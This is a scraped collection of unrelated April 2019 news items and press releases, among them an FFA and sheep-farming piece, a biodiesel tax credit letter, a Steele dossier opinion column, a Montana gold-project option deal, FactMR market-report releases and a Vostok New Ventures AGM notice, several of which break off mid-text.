raise sheep after high school, which helped him pay for some of his undergraduate education. As a professor, hes taught courses in sheep production and management at the University of Idaho and now at ISU. He said hes also been motivated to invest in the future leaders of agriculture through FFA, to help handle what he calls a future global dilemma for how the world will feed its growing population. "I have a very strong interest in global food security," he said. Sheep and goats the kissing-cousins of sheep, Youngs said will play an important role in doing that, he said. "Sheep can produce milk which can be a drink or manufactured into cheese, or you can harvest the animals for meat production, and once-a-year, you can take wool off the adults." he said. "They are a multifaceted animal in terms of the contributions they can make to the livelihood of farms." ADVERTISEMENT Overview: More than 4,000 FFA members and guests from across the state will participate in general sessions, competitive events, educational tours, leadership workshops and visit with colleges. When: April 28-30 Where: University of Minnesota St. Paul campus During his campaigns, Rep. Jim Hagedorn spoke of his support of agriculture and small businesses. Now that hes an elected member of Congress, farmers in the congressmans 1st District need his leadership to renew the biodiesel tax incentive as soon as possible. Hagedorns congressional colleague, Rep. Angie Craig (D-MN) recently sponsored the Biodiesel Tax Credit Extension Act of 2019 (HR 2089) bipartisan legislation that would renew the biodiesel and renewable diesel tax incentive for 2018 and 2019. Rep. Hagedorns district in southern Minnesota has two biodiesel plants producing more than 80 million gallons of biodiesel per year. Make no mistake: jobs are on the line in the congressmans backyard if the tax credit extension falls to pass. The situation is urgent and time is of the essence. The biodiesel tax incentive has been expired for more than 15 months. Meanwhile, Congress signaled several times over the past year that it support renewing the tax credit, but we are still waiting. Everyone shares the value of this tax incentive, including farmers, biofuel producers and blenders. The tax credit has helped the biodiesel industry grow rapidly. Alas, uncertainty around the timing of its renewal is threatening that progress. Whats at stake? For starters, the nearly 5,400 jobs biodiesel supports in Minnesota across several economic sectors, not to mention the nearly $1.7 billion that biodiesel contributes to Minnesotas economy. It also threatens the nations environmental goals, as biodiesel is the most widely used advanced biofuel and the only advanced fuel recognized by the Environmental Protection Agency. ADVERTISEMENT Southern Minnesota farmers like myself need the biodiesel tax credit, and we implore Rep. Hagedorn to play his part in helping to pass this vital piece of legislation before its too late. Michael Petefish, Claremont, President of the Minnesota Soybean Growers Association Writings on the Wall Following the end of World War II, there were a lot of positive moves to politically develop Guam. The Guam Congress was able to accomplish se Read more The Supreme Court of Sweden has ruled that a rape conviction is not a sufficient reason to deport a non-Swedish citizen: Swedens highest court has overturned a decision to deport a convicted rapist after ruling there was no extraordinary reason to expel him from the country. Two lower courts had ruled that the man, a 33-year-old Somali citizen, should be deported after serving a jail sentence for rape, but the Supreme Court overturned this decision while extending his jail sentence by four months. The reason for ruling against deportation was that his ties to Sweden were considered to be strong, although two of the five Supreme Court justices argued the seriousness of the crime outweighed this and that he should be expelled. The man was first found guilty of rape by Linkoping District Court, after he forced himself on a woman he did not know while they both stayed overnight at a mutual friends apartment. *** Perpetrators of serious crimes can be expelled from Sweden as part of their punishment if they do not hold Swedish citizenship. Kim Strassel devotes her weekly Wall Street Journal Potomac Watch column The Russians and the Dossier to a question that has intrigued me since I actually went to the trouble of reading the Steele Dossier back in early 2017: who was colluding with whom? Working on behalf of the Clinton campaign, ex-British spy Christopher Steele purported to draw on his relationships with the friends of Vladimir Putin to create the phony narrative that consumed the first two years of the Trump administration. Kim has read the Steele Dossier too, along with the Mueller report, and takes it at face value (i.e., she assumes that Steele wrote it and that he drew on Russian sources as described in it): The Mueller report exposes the dossier claims as pure fiction. Yet in describing the actions of the Trump campaign figures the FBI accused, the report assiduously avoids any mention of the dossier or its allegations. Mr. Mueller refers to Mr. Steele and his work largely in passing, as part of the reports description of how former FBI Director James Comey informed Mr. Trump of the dossiers existence. The dossier is blandly described several times as unverified allegations compiled by Mr. Steele. Once Mr. Mueller established that the dossier was a pack of lies, he should have investigated how it gained such currency at the highest levels of the FBI. Yet his report makes clear he had no interest in plumbing the antics of the bureau, which he led from 2001-13. Instead, he went out of his way to avoid the dossier and give cover to the FBI. The special counsel had another, more pressing reason to look at the dossier: It fell within his core mission. Since its publication by BuzzFeed in January 2017, weve learned enough about Mr. Steele and Fusion GPS to wonder if the Russians used the dossier for their own malign purposes. If the Steele Dossier is a pack of lies, how about the Mueller investigation? What a farce. Strassel concludes with a question and a hope: How did Mr. Mueller spend two years investigating every aspect of Russian interferencecyberhacking, social-media trolling, meetings with Trump officialsand not consider the possibility that the dossier was part of the Russian interference effort? Justice Department Inspector General Michael Horowitz and Attorney General William Barr may answer some of the questions Mr. Mueller refused to touch. Thanks to the special counsel we know Republicans werent playing footsie with Russians. But thanks to BuzzFeed, we know that Democrats were. America deserves to know how far that interaction extended. Hope abides but the clock is ticking. PR-Inside.com: 2019-04-26 20:56:45 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 1060 Words ACCESSWIRE News Network888.952.4446 TORONTO, ON / ACCESSWIRE / April 26, 2019 / African Metals Corporation (the "Company") [TSXV: AFR.H [formerly AFR)] is pleased to announce that it has entered into an agreement whereby the Company may acquire a majority interest in the Silver Bell - St. Lawrence Gold Project, in the Virginia City Mining District of Montana, U.S.A. from Frederick Private Equity Corporation ("Frederick PEC"). Under the Agreement, the Company may initially earn a 51% interest in the Project by making annual US$10,000 option payments and spending US$1,000,000 in exploration expenditures within four years with a minimum of $200,000 in expenditures during the first year. The Project comprises a 390-acre claim package located about 4 miles southwest of Virginia City in Madison County, Montana, and about 50 miles southeast of Butte, Montana. There is also an area of interest around the Project.The Project hosts two past producing gold-silver mines, the Silver Bell Mine on the west and the St. Lawrence Mine on the east. Both mines operated in the early 1900s and the St. Lawrence was reactivated and operated in the early 1980s. Historical production records are incomplete but available information suggests that historical production at the St. Lawrence was approximately 0.22 ounces per ton ("opt") gold and 3.8 opt silver. Smelter receipts for small shipments from the St. Lawrence indicate that some ore with much higher grades was shipped. For example, a smelter receipt from October 30, 1964 states that 8.027 tons were received grading 0.76 opt gold and 20.0 opt silver. Historical production at the Silver Bell averaged approximately 0.2 opt gold and 15.1 opt silver.The shafts for each of the former mines are located 3,600 feet apart and the exploration hypothesis is that the two mines shared mineralized systems that may in part be contiguous. Surface mapping and geophysical surveying by the Company support this initial hypothesis and may indicate extension of the vein system farther east along strike from the St. Lawrence mine.The Company announced on January 3, 2019 that it had completed the sale of all or substantially all of its assets as approved by special resolution of its shareholders and that it was in the process of settling all of its debts and liabilities which were in existence at the time that the current management and the majority of the Board of Directors consisting of John O'Donnell and David Mason took office. The Company also indicated its intention to use the sale proceeds to reinstate the Company's corporate standing, bring its books and records back to good order, hold an annual general meeting of Shareholders and complete all necessary steps to apply to have the current cease trade order dated December 1, 2016 revoked. The Company further indicated that once its debts are settled, the Company plans to use the remaining sale proceeds, which are expected to be approximately US$1,600,000, to seek out further business opportunities. The completion of the audited financial statements is well underway and is expected to be completed in May. The Project puts the Company back in business and is believed to be an exciting, low cost, drill-ready project. A modest drill program will hopefully give an early indication of the validity of the geological hypothesis.Frederick PEC acquired its interest in the Project from Peloton Minerals Corporation ("Peloton") (CSE Symbol: PMC) (OTCQB Symbol: PMCFF) through Peloton's wholly owned subsidiary SBSL Subsidiary Corporation ("SBSL") pursuant to an Exploration Agreement with a joint Venture Option (the "Peloton-Frederick Agreement"). Under the Peloton-Frederick Agreement, Frederick PEC may earn up to a 75% interest in the Project by spending a total of US$2,000,000 in exploration expenditures within six years and make annual option payments.Frederick PEC may first earn a 51% interest in the Project by making annual US$10,000 option payments to SBSL and spending US$1,000,000 in exploration expenditures within four years with a minimum of $200,000 in expenditure during the first two years. Frederick PEC may earn a further 24% interest (the "Second Earn-In Option") in the Project by then making annual US$25,000 option payments and spending an additional US$1,000,000 in exploration expenditures over a two-year period following the establishment of the first 51% interest, for a total of US$2,000,000 to earn a 75% interest. After Frederick PEC has earned either a 51% or a 75% interest, as the case may be, a mining venture or mining company may be formed with respect to the Project, and Frederick PEC and Peloton will contribute their respective share of further exploration and development expenditures. In the event that either party's interest is diluted to ten percent (10.0%) or less, it shall relinquish its interest to the other party, in return for a royalty agreement that conveys to the diluting party a royalty of one percent (1.0%) of net smelter returns on all minerals thereafter produced and removed from the Project. The non-diluting party may, at any time, buy-down that royalty by one-half percent (0.05%), so that the total royalty is one-half percent (0.05%) of net smelter returns, by paying US$250,000 to the royalty holder. The Project is subject to an earlier outstanding 2% NSR, the majority of which can be bought down to one percent (1%), and a buy down option on the remaining claims is being sought.In order to earn its 51% interest, the Company must make all of the exploration expenditures and annual option payments required to be made to SBSL to exercise its option to earn a 51% interest in the Project and has agreed to expend the minimum exploration expenditures to be made ($200,000) within one year of the execution of this Agreement.Frederick PEC retains the right to earn the additional 24% Second Earn-In Option if it chooses to do so. If it elects not to earn the Second Earn-In Option, it shall transfer and assign the right to do so to the Company upon payment to Frederick PEC of 1,000,000 fully paid and non-assessable common share of the Company or an Affiliate company into which the rights under this Agreement may have been further transferred or assigned by the Company, subject to all regulatory and stock exchange requirements. To be clear, this provision shall not apply unless the Company is successful in having its current cease trading order lifted, otherwise this provision shall be null and void with no force and effect. In such event, the Company will be responsible for funding all additional exploration expenditures and option payments required to earn the Second Earn-In Option. If Frederick PEC elects to earn t This report provides prediction and investigation of the air conditioning system market. It offers antique statistics along with global forecast data by the end of 2026. Fact.MR PR-Inside.com: 2019-04-26 09:31:51 Press Information Fact.MR 11140 Rockville Pike Suite 400 Basant Manager 353-1-6111-593 email https://www.factmr.com/ # 823 Words 11140 Rockville Pike Suite 400Manager353-1-6111-593 FactMR has actively published a new research study titled Air Conditioning System Market Estimated to Achieve a Sustainable Growth until the end of 2026 | Market Players are Hitachi, Fuji Electric, Carrier Corp, Samsung Electronics, etc. to its broad online database. This assessment works to discourse the major trends, opportunities and drivers motivating the air conditioning system market during the period from 2017-2026. The insights structured for presenting the target market are procured from both primary research and secondary research, and are utilized for validation that is valuable to investors, manufacturers and new entrants. As per research findings, the global air conditioning system market is expected to showcase impressive growth at 5.6% CAGR during the period until 2026.Appeal/Demand for Sample Report - https://www.factmr.com/connectus/sample?flag=S&rep_id=411 Remarkable expansion in the residential sector, along with growing disposable income of the population worldwide is likely to remain a key factor driving demand for air conditioning systems. In addition, falling costs of air conditioning systems have further proliferated their adoption among the rising middle-class population in emerging countries. Rapid industrialization, urbanization and mounting number of data centers are also expected to rub off on demand for air conditioning systems.Demand for improved indoor air (IAQ) quality has gained momentum within the greater building schematic, as awareness about its criticality in promoting healthy and comfortable indoor spaces rises in parallel. Several air conditioning system manufacturers are promoting IAQ innovation further, particularly when demand for novel technologies are witnessing an upsurge. High demand for IAQ has compelled these manufacturers to focus more on quality. Mandatory regulatory compliance, expanded filter testing technology and online monitoring have resulted into higher convenience for customers. A slew of IAQ innovations have been integrated into air conditioning systems recently, which address challenges ranging from air particulate management and detection of emissions to general air exchange and fresh air intake. One of the latest trends being observed in the global air conditioning system market is integration of building controls and HVAC systems.With the trend toward green technologies gaining prevalence, air conditioning systems are being frowned at, albeit population across some regions cannot thrive without them owing to flaming temperature ranges. Air conditioning system is considered to be a major contributor to global warming, owing to its emission of hazardous gases into the environment such as chlorofluorocarbons (CFC) and hydro-chlorofluorocarbons (HCFC). Being a part of greenhouse gases (GHG), these have negative impacts on the environment as they trap heat and result into ozone layer depletion. In addition, air conditioning systems air filters lose their integrity over time and enable harmful exterior compounds to flow into the interior space. This further triggers allergies, and may even lead to irritation in eyes, nose and throat in some cases.For Additional Insights Click to Access Complete Report - https://www.factmr.com/report/411/air-conditioning-system-market The global market for air conditioning system is projected to exhibit a steady CAGR through the forecast period (2017-2026), in terms of volume. Revenues from sales of air conditioning systems worldwide are estimated to surpass US$ 175,000 Mn by 2026-end.Sales of air conditioning systems are slated to remain the largest in North America, in terms of volume, followed by Europe. Ongoing technological innovations, and changing standards of American Society of Heating, Refrigerating and Air Conditioning, along with the presence of many regulatory policies have accelerated demand for eco-friendly, technologically advanced, and energy-efficient air conditioning systems in these regions. Demand for air conditioning system in Asia-Pacific excluding Japan (APEJ) will remain more concentrated in its emerging countries such as India and China, mainly because of rising living standards and disposable incomes of population in these countries. Volume sales of air conditioning systems will witness the fastest expansion in APEJ through 2026.Past few years have represented proliferation in adoption of air conditioning systems in various commercial spaces such as clinics, hospitals, construction, and hotel & tourism, mainly driven by rapid population growth. Commercial applications of air conditioning systems will record the largest sales, in terms of volume. However, volume sales of air conditioning systems for residential applications are expected to reflect the fastest expansion through 2026.Competition TrackingKey players identified by the report include Petra Engg Industies Co., Lennox International, Honeywell International, Gree Electric Appliances, Samsung Electronics, Daikin Industries Ltd., and Midea Group Co. Ltd. Other prominent players in the market include Fuji Electric, Carrier Corp, Hitachi and UTC.For Any Query or Concern, Access this Link - https://www.factmr.com/connectus/sample?flag=AE&rep_id=411 About FactMRFactMR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market research reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports.Contact UsFactMR11140 Rockville PikeSuite 400Rockville, MD 20852United StatesEmail: sales@ factmr.com Web: https://www.factmr.com/ PR-Inside.com: 2019-04-26 15:31:03 AM Best America Latina to Mark Five Years With Mexico City Gathering Midori Honda Market Development Director AM Best America Latina +52 55 1102 2720, ext. 102 midori.honda@ambest.com Christopher Sharkey Manager, Public Relations +1 908 439 2200, ext. 5159 christopher.sharkey@ambest.com Jim Peavy Director, Public Relations +1 908 439 2200, ext. 5644 james.peavy@ambest.com AM Best will be hosting a networking event to mark the five-year anniversary of its Mexico-based subsidiary at Habita Hotel in Mexico City, on Thursday, May 9, 2019, beginning at 6 p.m. CDT. Carlos De la Torre, senior director, business development and operations, AM Best America Latina, will deliver a short welcome address, followed by a brief Latin America market overview by Alfonso Novelo, senior director of analytics. A networking mixer will follow, and AM Best rating analysts based in Mexico City will be present to meet market participants and other interested parties. There is no charge for this event. To attend or for more information, please visit the event registration page or email americalatina@ambest.com. AM Best opened its office at Paseo de la Reforma 412 in Mexico Citys financial district in May 2014 to address the strong development of Mexico and Latin Americas insurance markets and the increased use of credit ratings. Later that same year, AM Best America Latina received approval from the Comision Nacional Bancaria y de Valores to be a registered rating agency in Mexico. The office services Central and South America (excluding Brazil, which is serviced from AM Bests U.S. headquarters), with ratings on more than 60 companies in Argentina, Belize, Chile, Costa Rica, Dominican Republic, Mexico, Panama and Peru. More recently, AM Best America Latina in 2018 was authorized as a credit rating agency in Panama. AMBestTV also will provide coverage of the event with exclusive interviews with insurance industry executives. This coverage will be made available at http://www.ambest.tv. In addition, follow the event on Twitter at @AMBestRatings using the hashtag #AMB5CDMX. AM Best is a trusted source of insurance market insight and data, and the only global credit rating agency with a unique focus on the insurance industry. Best's Credit Ratings are a recognized indicator of insurer financial strength and creditworthiness. Visit http://www.ambest.com for more information. Copyright 2019 by A.M. Best Company, Inc. and/or its affiliates. ALL RIGHTS RESERVED. View source version on businesswire.com: https://www.businesswire.com/news/home/20190426005 This report provides prediction and investigation of the Autoclaved Aerated Concrete (AAC) Market. It offers antique statistics along with global forecast data by the end of 2026. Fact.MR PR-Inside.com: 2019-04-26 10:04:50 Press Information Fact.MR 11140 Rockville Pike Suite 400 Basant Manager 353-1-6111-593 email https://www.factmr.com/ # 789 Words 11140 Rockville Pike Suite 400Manager353-1-6111-593 The report studies the autoclaved aerated concrete (aac) market worldwide, especially in North America, Europe, Southeast Asia, India and Other Regions with production, size, growth, revenue, consumption, import and export in these regions. The intelligent report also anticipates that autoclaved aerated concrete (AAC) market would grow at a constructive CAGR until 2026. In order to study the various trends and patterns prevailing in the concerned market, FactMR has included a new report titled Autoclaved Aerated Concrete (AAC) Market to Reap Excessive Revenues by 2017 to 2026 | Key Players are Xella Group, JK Lakshmi Cement, ACICO Industries Co. KSC, etc. to its wide online database including upcoming trends and growth factors.Appeal/Demand for Sample Report - https://www.factmr.com/connectus/sample?flag=S&rep_id=509 With expanding global population leading toward greater housing requirements, a dramatic upsurge has been witnessed in the construction of residential complexes over the past few years. Growth of the construction sector worldwide has fuelled demand for a wide range of construction materials, and autoclaved aerated concrete is no exception. This growth is mainly augmented by robust industrialization and urbanization across emerging countries. With a view to deliver better governance, development of public infrastructure has become a prime agenda in many of these countries. Affordable housing schemes launched by various governments around the world has also provided an impetus to the construction sector. Factors as such are auguring well for AAC manufacturers and suppliers. Adoption of AAC materials has continued to increase in the construction sector owing to their wide range of applications. AAC is an eco-friendly, lightweight and sustainable construction material, hence hold an edge over several other alternative materials.In terms of value, blocks will continue to endure as leading revenue contributor to the global AAC market, based on product type. Over the years, AAC blocks have maintained their popularity in the construction industry worldwide, serving as a commodity material and satisfying requirements of social, industrial and commercial sectors for cost-effective, flexible and fast construction solution. Panels will also prevail as a remunerative product in the market, with demand primarily driven by their robust adoption for use in the load-bearing structures.According to a recent report compiled by FactMR, the global market for autoclaved aerated concrete (AAC) is set to record a value CAGR of 4.8% during the forecast period (2017-2026). Worldwide sales of AAC are estimated to exceed 145,500 thousand m3 by 2026-end.For Additional Insights Click to Access Complete Report - https://www.factmr.com/report/509/autoclaved-aerated-concrete-market End use of autoclaved aerated concrete in the commercial construction are likely to rake in the largest revenues by 2026-end. Reinforced AAC has emerged as a vital solution in commercial construction, with rising focus on cost-effective construction that entails demand for less labor-intensive, versatile, and easily installed building systems. Revenues from AAC sales in Asia-Pacific excluding Japan (APEJ) are envisaged to exhibit an impressive expansion, making this region the largest market for autoclaved aerated concrete during 2017 to 2026. Countries in APEJ are increasingly concentrating on the development of green buildings, with an aim to realize a sustainable future, meanwhile seeking cost-effective yet efficient construction methods. As AAC is relatively affordable and imparts energy efficiency, it is being highly employed for construction activities in the region. APEJ is set to account for over 30% value share of the market by 2026-end.Although the global market for autoclaved aerated concrete is fragmented with the presence of several vendors, global vendors dominate the market with their huge production facilities and vast market reach. The market is likely to experience an influx of regional vendors on the coattails of industrialization across developing economies. In a bid to sustain in this highly competitive market, established vendors are entering into mergers & acquisitions in a bid to increase their market presence.FactMRs report identifies key companies that are actively supporting expansion of the global autoclaved aerated concrete (AAC) market, which include UltraTech Cement Ltd., CSR Ltd., Xella Group, JK Lakshmi Cement, ACICO Industries Co. KSC, H+H International AS, UAL Industries Ltd., Solbet Sp Z.O.O., Aircrete Group N.V., Eastland Building Materials Co., Ltd., Aercon Florida Llc, AKG Gazbeton, Biltech Building Elements Limited, Brickwell Infra Private Limited, and Buildmate Projects Pvt. Ltd.For Any Query or Concern, Access this Link - https://www.factmr.com/connectus/sample?flag=AE&rep_id=509 About FactMRFactMR is a fast-growing market research firm that offers the most comprehensive suite of syndicated and customized market research reports. We believe transformative intelligence can educate and inspire businesses to make smarter decisions. We know the limitations of the one-size-fits-all approach; that's why we publish multi-industry global, regional, and country-specific research reports.Contact UsFactMR11140 Rockville PikeSuite 400Rockville, MD 20852United StatesEmail: sales@ factmr.com Web: https://www.factmr.com/ Factmr PR-Inside.com: 2019-04-26 09:23:49 Press Information FactMR 11140 Rockville Pike Suite 400 Rockville, MD 20852 United States Abhishek Budholiya Marketing Manager 353-1-4434-232 email https://www.factmr.com/report/308/automotive-additives-market # 481 Words 11140 Rockville Pike Suite 400 Rockville, MD 20852 United StatesMarketing Manager353-1-4434-232 Automotive additives are being used on a large scale to maintain the vehicle and improve overall performance. Automotive additive manufacturers are using innovative materials. Manufacturers are also producing various types of additives for instance, plastic additives, transmission additives, head gasket sealers, oil additives, etc. however, plastic additives are gaining more popularity in the market, as it offers efficiency, saves costs and offers scratch resistance. This Fact.MR report discusses key prospects for growth of global automotive additives market during the forecast period, 2017-2022, offering pragmatic insights to lead market players towards devising & implementing informed strategies. The automotive additives market is likely to experience above-average growth. The automotive additives market is estimated to reach US$ 8,251.8 million revenue by 2022 end. Manufacturers of automotive additives are focusing on developing highest performing solutions and with plastic emerging as the highest applied material in the interior, exterior and under the hood of the vehicle, automotive plastic additives are witnessing increased use in the automotive industry.Request Free Sample Report Here:Increasing number of automotive manufacturers are using plastics in the car. This trend of using plastic is also increasing as it helps in reducing the weight of the car. Hence, automotive addictive manufacturers are producing anti-scratch additives that can be used for interior and exterior applications. Manufacturers are also significantly investing in order to increase the speed and reduce production time involved in additive manufacturing. Meanwhile, additive manufacturers are also trying to produce new additives that can provide protection against scratch by reducing the friction.Increasing popularity of panoramic roofs in vehicles is also resulting in the heat and high UV light damaging the interior of a vehicle, hence light stabilizers are being provided to protect vehicle against UV rays. Using different materials for additive manufacturing can also open up possibilities for new design and for development of innovative end-products.Browse Full report with TOC:North America is expected to dominate the global automotive additives market. Towards the end of 2022, North America automotive additives market is projected to exceed US$ 2,000 million revenue. Presence of the major market players and the increasing vehicle production are some of the factors fueling the growth of North America automotive additives market.Europe is expected to be the second most lucrative market in the global automotive additives market. Europe automotive additives market is expected to witness steady growth during the forecast period.The report has also profiled leading players in the global market for automotive additives, which will remain active through 2022. These include companies such as Akzo Nobel NV, Saudi Basic Industries Corp., Covestro AG, BASF SE, LANXESS AG, Clariant AG, The Dow Chemical Company, Evonik Industries AG, Solvay SA, Kaneka Corporation, ExxonMobil Corporation, and Croda International PLC.Have Any Query?? Ask Our Industry Expert: PR-Inside.com: 2019-04-26 10:14:42 Press Information FactMR 11140 Rockville Pike Suite 400 Rockville, MD 20852 United States Abhishek Budholiya Marketing Manager 353-1-4434-232 email https://www.factmr.com/ # 646 Words 11140 Rockville Pike Suite 400 Rockville, MD 20852 United StatesMarketing Manager353-1-4434-232 The global automotive curtain airbag market is expected to register a moderate growth attributed to considerable demand in the transportation and healthcare industry. Surge in demand for security devices in the vehicles is expected to impact growth of the global market positively. This Fact.MR report discusses key prospects for growth of global automotive curtain airbag market during the forecast period, 2017-2022, offering pragmatic insights to lead market players towards devising & implementing informed strategies.Growing demand for security devices in vehicles has led to an upsurge in demand for the airbags in the automotive industry globally. In addition, government in various countries have imposed regulations regarding security devices in the automotive industry. These factors are expected to contribute towards growth of the global automotive curtain airbag market positively. A recently compiled report by Fact.MR reveals that the global market of automotive curtain airbag is projected to register a CAGR of 5.5% over the forecast period, 2017-2022.Request Free Sample Report Here:Automotive curtain airbags sales are increasingly influenced by increasing emphasis on safety among the passengers and automakers alike, which has led integration of enhanced technology to reduce the risk of accidents & injuries. In an attempt to provide flexible transportation system embedded with security, the automotive manufacturers are integrating the automotive curtain airbags in vehicles.Consumption in the Healthcare IndustryBesides the automotive industry, the automotive curtain airbags market also witness significant opportunities in the healthcare industry. During an unexpected accident, the automotive curtain airbags protect the heads and the necks of the patients. The ambulance manufacturers continue to integrate the roll sensors in the ambulance, which enables the system to deploy protection during an unexpected accident, thereby driving automotive curtain airbags sales.Government in various countries are increasingly imposing regulations regarding the safety facilities in the automotive industry. Bound to imposition of government regulations, manufacturers are increasingly installing devices for the safety of the passengers. This has directly influenced growth of the automotive curtain airbags market.Browse Full report with TOC:OEM as compared to other channels of sale is expected to witness highest revenue growth in the automptive curtain airbags market. The OEM segment is expected to represent a value over US$ 50 Mn by the end of 2017. However, sales of the automotive curtain airbags is expected to remain high through the aftermarket channels. The aftermarket channel is expected to register the highest CAGR in the automotive curtain airbags market throughout 2022.On the basis of yarn type, the nylon type segment is expected to witness the highest revenue growth in the automotive curtain airbags market. By the end of 2017, nylon as compared to other types of yarn is expected to represent a value of over US$ 40 Mn globally. The nylon type segment is expected to register the highest CAGR in the automotive curtain airbags market throughout 2022.Mid-sized passenger cars is expected to witness the highest revenue growth in the automotive curtain airbags market. The mid-sized passenger segment is expected to represent a value of nearly US$ 15 Mn by the end of 2022. However, the compact passenger cars segment is expected to register the highest revenue growth in the automotive curtain airbags market throughout 2022.Competition TrackingThe report profiles companies operating in the global automotive curtain airbag market. Companies of all sizes, including market leaders, established players, and market entrants are profiled in this section. The competitive intelligence offers information on company overview and other important parameters, such as product offerings and key financials. Major players in the global market of automotive curtain airbag are Takata Corporation, Autoliv, Inc., Denso Corporation, Daicel Corporation, Toyoda Gosei Co. Ltd., Hyundai Mobis Co. Ltd., Kolon Industries, Inc., ZF Friedrichshafen AG, Delphi Automotive PLC, and Toray Industries, IncHave Any Query?? Ask Our Industry Expert: Disclaimer: If you have any questions regarding information in this press release please contact the company added in the press release. Please do not contact pr-inside. We will not be able to assist you. PR-inside disclaims the content included in this release. Factmr PR-Inside.com: 2019-04-26 12:22:59 Press Information FactMR 11140 Rockville Pike Suite 400 Rockville, MD 20852 United States Abhishek Budholiya Marketing Manager 353-1-4434-232 email https://www.factmr.com/ # 581 Words 11140 Rockville Pike Suite 400 Rockville, MD 20852 United StatesMarketing Manager353-1-4434-232 Protecting against whiplash injury which occurs when the neck and head are suddenly forced forward and backward, automotive Whiplash Protection System (WPS) is being implemented in various cars. Manufacturers are also focusing on including various advanced features in the automotive WPS to ensure high-level of protection. WPS seat technology is being implemented on a large scale as it is now being considered as an important part of the safety testing in testing program. This Fact.MR report discusses key prospects for growth of global automotive whiplash protection system (WPS) market during the forecast period, 2017-2022, offering pragmatic insights to lead market players towards devising & implementing informed strategies. The global Automotive Whiplash Protection System Market is expected to witness robust growth. The market is estimated to register 6.9% CAGR during the forecast period 2017-2022. Owing to the rise in accidents resulting in the injuries in the neck and head is driving the demand for whiplash protection system in the vehicle. Moreover, manufacturers are also introducing new system including innovative technology. Following insights show how the global automotive whiplash protection system market will perform in the coming years.Request Free Sample Report Here:Whiplash has become a very common injury that occurs to the neck and head due to the sudden acceleration and deceleration force, especially in the vehicle. Hence, increasing number of vehicles are implementing whiplash protection system in their car models to offer better safety. Manufacturers are developing anti-whiplash seats for the cars to minimize neck injury owing to the rapid movement. Key market players are also integrating sensing systems in the WPS to offer more protection and minimize the impact.These sensing systems are being developed in such a way that it can sense collision and severity of the impact and provide support at a very initial stage, minimizing the possibility of an injury. Seat backrest is also being equipped with Same Side Impact Protection System (SIPS). Manufacturers are also increasingly focusing on the design of anti-whiplash seats due to various heights, postures, and positions of occupants.Browse Full report with TOC:Considering the wide scope of the global automotive whiplash protection system (WPS) market, the report by Fact.MR provides in-depth and segment-wise analysis. The global market for automotive whiplash protection system (WPS) is segmented on the basis of system type, sales channel, vehicle type, and region. This segmentation also offers country-wise analysis on all the key parameters.Reactive head restraints-RHR system is expected to the most preferred automotive whiplash protection system. By the end of 2022, reactive head restraints system is estimated to reach nearly US$ 600 million revenue. Meanwhile, pendulum system is also expected to show impressive growth during the forecast period.Sales of the automotive whiplash protection system is expected to be highest through OEM. Accounting for more than three-fourth of the revenue share by the end of 2017, OEM as a sales channel is estimated to create an incremental opportunity of more than US$ 500 million between 2017 and 2022.The report also provides profile of the key players that are anticipated to play a major role in the growth of global automotive whiplash protection system (WPS) market through 2022, which include Autoliv Inc., Takata Corporation, Robert Bosch GMBH, Delphi Automotive Plc, ZF Friedrichshafen AG, Continental AG, GRAMMER AG, Lear Corporation, Hyundai Mobis Co., Ltd, and Ningbo Joyson Electronic Corp.Have Any Query?? Ask Our Industry Expert: PR-Inside.com: 2019-04-26 08:05:01 Stockholm, April 26, 2019 (GLOBE NEWSWIRE) -- Notice is hereby given to the holders of depository receipts in respect of shares in Vostok New Ventures Ltd, reg. no. 39861, with registered office in Hamilton, Bermuda (Vostok New Ventures or the Company) that an Annual General Meeting (the Meeting) of shareholders shall be held on Wednesday, 15 May 2019 at 2 pm CEST in Kreugersalen at Tandstickspalatset, Vastra Tradsgardsgatan 15 in Stockholm, Sweden. Notice to attend etc. Holders of depository receipts wishing to attend the Meeting shall: be listed in the register of holders of depository receipts kept by Euroclear Sweden AB on Thursday, 9 May 2019; and notify the Company of the intention to attend the Meeting not later than Thursday, 9 May 2019 by mail at the address Computershare AB, Vostok New Ventures Ltd Annual General Meeting, Box 610, SE-182 16 Danderyd, Sweden, by telephone +46 (0)77124 64 00 or by e-mail to agm@vostoknewventures.com. The holder of depository receipts shall state his or her name, personal or company identification number, address as well as telephone number. If a holder of depository receipts intends to be represented by proxy, the name of the proxy holder shall be stated. Information submitted in connection with the notification will be computerised and used exclusively for the Meeting. See below for additional information on the processing of personal data. Holders of depository receipts represented by proxy shall issue dated and signed power of attorney for the proxy. If the power of attorney is issued on behalf of a legal entity, a certified copy of a registration certificate or a corresponding document for the legal entity shall be appended. The power of attorney in original and, where applicable, the registration certificate should be submitted to the Company by mail at the address set forth above well in advance of the Meeting. The form to use for a power of attorney can be found on www.vostoknewventures.com. Holders of depository receipts who hold their receipts through nominees (Sw. forvaltare) must request a temporary registration of the voting rights in order to be able to participate at the Meeting. Holders of depository receipts who want to obtain such registration must contact the nominee regarding this well in advance of Thursday, 9 May 2019. Voting forms will be distributed to the holders who have complied with the above requirements and the voting form must be brought to the Meeting. Proposed agenda Election of Chairman for the Meeting. Preparation and approval of voting list. Approval of the agenda. Election of one or two persons to check and sign the minutes. Resolution that the Meeting has been duly convened. Presentation by the Managing Director. Presentation of the annual report and the auditors report as well as the consolidated annual report and the consolidated auditors report. Resolution in respect of the adoption of the profit and loss account and the balance sheet as well as the consolidated profit and loss account and the consolidated balance sheet; and the appropriation of the Companys results according to the adopted balance sheet. Determination of the number of Directors and auditors. number of Directors number of auditors Determination of remuneration to the Directors and the auditors. remuneration to the Directors remuneration to the auditors Election of Directors and auditors. election of auditors election of Directors and Chairman of the Board of Directors Resolution to appoint the Nomination Committee. Resolution regarding remuneration principles for the senior management. Resolution regarding long-term incentive program. Resolution to amend the Companys Bye-Laws. Resolution to cancel the incentive program adopted in 2007. Resolution to cancel the 2010 Incentive Program. Closing of the Meeting. Chairman for the Meeting (item 1) The Nomination Committee, consisting of Jake Hennemuth (Ruane Cunniff & Goldfarb), Evert Carlsson (Swedbank Robur Fonder), Marcus Luttgen (Alecta) and Lars O Gronstedt (chairman of the Board of Directors) as adjunct member proposes that Jesper Schonbeck, member of the Swedish Bar Association, is elected as Chairman for the Meeting. The appropriation of the Companys results (item 8b) The Board of Directors proposes that no dividend is paid to the shareholders and that the Companys results are brought forward. Determination of the number of Directors and auditors (item 9) The Nomination Committee proposes that: the 